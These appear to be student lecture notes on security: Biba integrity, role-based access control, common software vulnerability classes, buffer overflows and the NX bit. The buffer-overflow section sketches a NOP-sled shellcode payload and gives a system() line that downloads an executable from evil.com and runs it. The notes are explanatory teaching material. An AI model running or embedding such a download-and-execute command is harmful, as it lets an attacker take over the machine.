Initial Label Processes:

- Because of input-output to user, may need to label based on user.
- Initial Label = Minimum label = PUBLIC
- Floating Labels: Label "floats up" as it open files; float labels on files too.

BiBa Model: Bell-Lapdula for Integrity

Here the label info is based on TRUST. The policy used is "NO READ DOWN/NO WRITE UP". The various levels could be:

But this is not always true. There may be situations where some garbage content is marked as secret and highly reliable theorems are public.
RBAC (Role Based Access Control):

Users → Roles
Roles → Permissions

To understand this better, I'll use an example of a bank.

- attaching permissions to objects (like branch)
- time constraints (deposit from 9am-6pm only)
- 2 people to perform ”Make Loan” (so manager doesn’t get himself a loan)

Access Control

Main security problems and vulnerabilities are because of software bugs. Some of them are:

- Buffer Overflow
- Format String Bugs
- Race Conditions
- SQL Injections
- XSS Bugs
- CSRF
- Confused Deputy
- Component Hijacking
BUFFER OVERFLOW:
It is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory. This is a special case of violation of memory safety. Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program operates. This may result in erratic program behavior, including memory access errors, incorrect results, a crash, or a breach of system security. Thus, they are the basis of many software vulnerabilities and can be maliciously exploited.

```
username:
< nopsled > " < shellcode (256 bytes) > " evilretur
```
**System Call:** System calls can be used to access and do anything.

```system("wget http://evil.com/exe tmp/exe; chmod a+x /tmp/exe; /tmp/exe");```

**NX Bit:** "Non Executable Bit"

Virtual Memory pages are labeled as:

- Readable
- Writable
- Executable

Cases:

\( w \oplus x \): if \( w \) then no \( x \) and if \( x \) then no \( w \)...